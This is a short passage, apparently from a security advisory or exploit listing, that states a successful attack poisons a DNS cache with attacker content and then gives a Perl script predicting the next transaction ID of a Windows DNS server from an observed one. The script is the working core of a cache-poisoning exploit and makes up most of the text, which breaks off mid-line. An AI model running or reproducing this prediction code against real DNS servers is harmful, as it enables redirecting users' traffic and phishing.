A successful attack will corrupt the DNS cache with attacker-specified content. This may aid in further attacks such as phishing. $TRXID=$ARGV[0]; $zero=$TRXID>>14; if ($zero!=0) { print "Highest two bits are not 0.\n"; print "Is this really Windows DNS server? check endian issues!\n"; exit(0); } $M=($TRXID>>11) & 7; $C=($TRXID>>3) & 0xFF; $L=$TRXID & 7; if (($C % 8)!=7) { print "C mod 8 is not 7 - can't predict next TRXID.\n"; print "Wait for C mod 8 to become 7\n"; exit(0); } print "Next TRXID is one of the following 8 values:\n"; for ($m=0;$m<8;$m++) { print "".(($m<<11)|((($C+1) % 256)<<3))."
